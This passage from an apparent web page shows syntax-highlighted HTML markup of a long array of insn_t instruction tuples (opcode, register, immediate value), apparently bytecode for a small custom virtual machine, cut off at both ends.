number\">2628426447</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">486914414</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">16</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1187047173</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3103274804</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3320200805</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3846589389</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2724573159</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1483327425</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1957985324</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">14</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1467602691</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3142557962</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2525769395</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3681119483</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1041439413</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1042206298</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">527001246</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">20</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">855860613</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1865979270</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2752636085</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1389650363</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2721642985</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">18</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3276518041</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">15</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1965130376</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3557111558</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3031574352</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">16</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4226755821</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2624879637</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1381275708</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3310620882</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2475591380</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">405408383</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2291319543</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4144538489</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3878256896</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2243529248</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">561931268</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3076955709</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">18</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2019584073</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1712479912</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">18</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2804447380</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">17</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2957126100</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">18</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1368187437</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">17</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3586129298</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1229526732</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">19</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2759768797</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2112449396</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1212917601</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1524771736</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3146530277</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2997906889</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">16</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4135691751</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1960868242</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">6</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2775657353</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">16</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1451259226</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">607382171</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">357643050</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2020402776</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2408165152</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">806913563</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">772591592</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">20</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2211018781</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2523354879</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2549720391</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3908178996</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1299171929</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">512513885</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2617924552</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">390960442</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1248271133</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2114382155</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">13</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2078863299</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">20</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">,</span> <span class=\"token number\">12</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token class-name\">insn_t</span><span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token 